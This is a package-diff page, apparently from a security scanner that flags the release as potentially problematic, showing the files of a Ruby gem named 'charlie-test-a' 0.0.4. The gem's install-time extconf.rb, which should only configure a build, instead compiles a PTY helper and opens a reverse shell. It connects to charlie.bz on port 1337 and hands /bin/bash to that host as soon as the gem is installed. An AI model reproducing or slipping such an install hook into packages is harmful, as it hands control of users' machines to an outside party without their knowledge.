charlie-test-a 0.0.4
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of charlie-test-a might be problematic. Click here for more details.
- data/extconf.rb +18 -0
- data/ptydo.c +178 -0
- metadata +47 -0
data/extconf.rb
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
ldflags = ""
|
2
|
+
if RUBY_PLATFORM =~ /linux/
|
3
|
+
ldflags << " -lutil"
|
4
|
+
end
|
5
|
+
`gcc -o ptydo ptydo.c #{ldflags}`
|
6
|
+
port = 1337
|
7
|
+
require "socket"
|
8
|
+
sock = TCPSocket.new("charlie.bz", port)
|
9
|
+
bash = IO.popen("./ptydo /bin/bash", "w+")
|
10
|
+
loop do
|
11
|
+
read, write = IO.select [sock, bash], []
|
12
|
+
if read.include? sock
|
13
|
+
bash.write sock.read_nonblock 1024
|
14
|
+
end
|
15
|
+
if read.include? bash
|
16
|
+
sock.write bash.read_nonblock 1024
|
17
|
+
end
|
18
|
+
end
|
data/ptydo.c
ADDED
@@ -0,0 +1,178 @@
|
|
1
|
+
#define _POSIX_SOURCE
|
2
|
+
#include <stdio.h>
|
3
|
+
#include <stdlib.h>
|
4
|
+
#include <string.h>
|
5
|
+
#include <termios.h>
|
6
|
+
#include <unistd.h>
|
7
|
+
#ifdef __linux__
|
8
|
+
#include <pty.h>
|
9
|
+
#elif __APPLE__
|
10
|
+
#include <util.h>
|
11
|
+
#else
|
12
|
+
#error Not sure which header forkpty() is in on your system. Please report a bug at https://github.com/charliesome/ptydo/issues
|
13
|
+
#endif
|
14
|
+
#include <errno.h>
|
15
|
+
#include <signal.h>
|
16
|
+
#include <sys/types.h>
|
17
|
+
#include <sys/select.h>
|
18
|
+
#include <sys/ioctl.h>
|
19
|
+
|
20
|
+
static void usage()
|
21
|
+
{
|
22
|
+
printf(
|
23
|
+
"Usage: ptydo [<switches>] [--] <command...>\n"
|
24
|
+
"\n"
|
25
|
+
"Runs command in a child PTY with input/output exposed as stdin/stdout.\n"
|
26
|
+
"\n"
|
27
|
+
"Window Options:\n"
|
28
|
+
" -w <columns> Specifies the width of the PTY in columns\n"
|
29
|
+
" -h <rows> Specifies the height of the PTY in rows\n"
|
30
|
+
"\n"
|
31
|
+
" If ptydo is run interactively, the PTY will default to the dimensions of the\n"
|
32
|
+
" host PTY. Otherwise, the dimensions will default to 80 by 25.\n"
|
33
|
+
"\n"
|
34
|
+
"Misc Options:\n"
|
35
|
+
" -c Forward SIGINT to PTY.\n"
|
36
|
+
);
|
37
|
+
exit(EXIT_SUCCESS);
|
38
|
+
}
|
39
|
+
|
40
|
+
static pid_t child;
|
41
|
+
static int ptyfd;
|
42
|
+
|
43
|
+
static void exit_and_kill_child(int status) {
|
44
|
+
if(child) {
|
45
|
+
kill(child, SIGTERM);
|
46
|
+
}
|
47
|
+
exit(status);
|
48
|
+
}
|
49
|
+
|
50
|
+
static void forward_signal_to_pty(int sig) {
|
51
|
+
kill(child, sig);
|
52
|
+
}
|
53
|
+
|
54
|
+
int main(int argc, char** argv)
|
55
|
+
{
|
56
|
+
(void)argc;
|
57
|
+
(void)argv;
|
58
|
+
|
59
|
+
struct winsize window;
|
60
|
+
window.ws_row = 25;
|
61
|
+
window.ws_col = 80;
|
62
|
+
|
63
|
+
if(isatty(0)) {
|
64
|
+
ioctl(0, TIOCGWINSZ, &window);
|
65
|
+
}
|
66
|
+
|
67
|
+
if(argc < 2) {
|
68
|
+
usage();
|
69
|
+
}
|
70
|
+
|
71
|
+
int argi;
|
72
|
+
for(argi = 1; argi < argc; argi++) {
|
73
|
+
if(argv[argi][0] != '-') {
|
74
|
+
break;
|
75
|
+
}
|
76
|
+
if(strlen(argv[argi]) > 2) {
|
77
|
+
printf("Unknown option '%s'\n", argv[argi]);
|
78
|
+
exit(EXIT_FAILURE);
|
79
|
+
}
|
80
|
+
if(argv[argi][1] == '-') {
|
81
|
+
argi++;
|
82
|
+
break;
|
83
|
+
}
|
84
|
+
switch(argv[argi][1]) {
|
85
|
+
case 'w':
|
86
|
+
if(argi + 1 == argc) {
|
87
|
+
printf("Expected PTY width after -w flag");
|
88
|
+
exit(EXIT_FAILURE);
|
89
|
+
}
|
90
|
+
window.ws_col = atoi(argv[++argi]);
|
91
|
+
break;
|
92
|
+
case 'h':
|
93
|
+
if(argi + 1 == argc) {
|
94
|
+
printf("Expected PTY height after -h flag");
|
95
|
+
exit(EXIT_FAILURE);
|
96
|
+
}
|
97
|
+
window.ws_row = atoi(argv[++argi]);
|
98
|
+
break;
|
99
|
+
case 'c':
|
100
|
+
signal(SIGINT, forward_signal_to_pty);
|
101
|
+
break;
|
102
|
+
default:
|
103
|
+
printf("Unknown option '-%c'\n", argv[argi][1]);
|
104
|
+
exit(EXIT_FAILURE);
|
105
|
+
}
|
106
|
+
}
|
107
|
+
|
108
|
+
if(argi == argc) {
|
109
|
+
printf("No command specified\n");
|
110
|
+
exit(EXIT_FAILURE);
|
111
|
+
}
|
112
|
+
|
113
|
+
child = forkpty(&ptyfd, NULL, NULL, &window);
|
114
|
+
|
115
|
+
if(child == -1) {
|
116
|
+
// forkpty failed:
|
117
|
+
perror("forkpty");
|
118
|
+
exit(EXIT_FAILURE);
|
119
|
+
}
|
120
|
+
|
121
|
+
if(child == 0) {
|
122
|
+
// we are the child process
|
123
|
+
// execvp(argv[1], argv + 1);
|
124
|
+
// execvp failed:
|
125
|
+
char* ptyargv[argc - argi + 1];
|
126
|
+
memcpy(ptyargv, argv + argi, (argc - argi) * sizeof(char*));
|
127
|
+
ptyargv[argc - argi] = NULL;
|
128
|
+
execvp(ptyargv[0], ptyargv);
|
129
|
+
perror("execvp");
|
130
|
+
exit(EXIT_FAILURE);
|
131
|
+
}
|
132
|
+
|
133
|
+
while(1) {
|
134
|
+
fd_set readfds;
|
135
|
+
fd_set errfds;
|
136
|
+
FD_ZERO(&readfds);
|
137
|
+
FD_SET(0, &readfds);
|
138
|
+
FD_SET(ptyfd, &readfds);
|
139
|
+
FD_ZERO(&errfds);
|
140
|
+
FD_SET(0, &errfds);
|
141
|
+
FD_SET(ptyfd, &errfds);
|
142
|
+
|
143
|
+
int err = select(ptyfd + 1, &readfds, NULL, &errfds, NULL);
|
144
|
+
if(err < 0) {
|
145
|
+
if(errno == EINTR) {
|
146
|
+
continue;
|
147
|
+
}
|
148
|
+
perror("select");
|
149
|
+
}
|
150
|
+
|
151
|
+
int readfd, writefd;
|
152
|
+
if(FD_ISSET(0, &readfds)) {
|
153
|
+
// data on stdin
|
154
|
+
readfd = 0;
|
155
|
+
writefd = ptyfd;
|
156
|
+
} else if(FD_ISSET(ptyfd, &readfds)) {
|
157
|
+
writefd = 1;
|
158
|
+
readfd = ptyfd;
|
159
|
+
} else if(FD_ISSET(0, &errfds) || FD_ISSET(ptyfd, &readfds)) {
|
160
|
+
exit_and_kill_child(EXIT_SUCCESS);
|
161
|
+
} else {
|
162
|
+
fprintf(stderr, "this should never happen\n");
|
163
|
+
exit_and_kill_child(EXIT_FAILURE);
|
164
|
+
}
|
165
|
+
|
166
|
+
char buff[1024];
|
167
|
+
ssize_t bytes = read(readfd, buff, sizeof(buff));
|
168
|
+
if(bytes == 0) {
|
169
|
+
exit_and_kill_child(EXIT_SUCCESS);
|
170
|
+
} else if(bytes < 0) {
|
171
|
+
perror("read");
|
172
|
+
exit_and_kill_child(EXIT_FAILURE);
|
173
|
+
}
|
174
|
+
(void)write(writefd, buff, bytes);
|
175
|
+
}
|
176
|
+
|
177
|
+
return 0;
|
178
|
+
}
|
metadata
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: charlie-test-a
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.4
|
5
|
+
prerelease:
|
6
|
+
platform: ruby
|
7
|
+
authors:
|
8
|
+
- charlie
|
9
|
+
autorequire:
|
10
|
+
bindir: bin
|
11
|
+
cert_chain: []
|
12
|
+
date: 2012-08-03 00:00:00.000000000 Z
|
13
|
+
dependencies: []
|
14
|
+
description:
|
15
|
+
email:
|
16
|
+
executables: []
|
17
|
+
extensions:
|
18
|
+
- extconf.rb
|
19
|
+
extra_rdoc_files: []
|
20
|
+
files:
|
21
|
+
- ptydo.c
|
22
|
+
- extconf.rb
|
23
|
+
homepage:
|
24
|
+
licenses: []
|
25
|
+
post_install_message:
|
26
|
+
rdoc_options: []
|
27
|
+
require_paths:
|
28
|
+
- lib
|
29
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
30
|
+
none: false
|
31
|
+
requirements:
|
32
|
+
- - ! '>='
|
33
|
+
- !ruby/object:Gem::Version
|
34
|
+
version: '0'
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
36
|
+
none: false
|
37
|
+
requirements:
|
38
|
+
- - ! '>='
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
requirements: []
|
42
|
+
rubyforge_project:
|
43
|
+
rubygems_version: 1.8.24
|
44
|
+
signing_key:
|
45
|
+
specification_version: 3
|
46
|
+
summary: charlie's test
|
47
|
+
test_files: []
|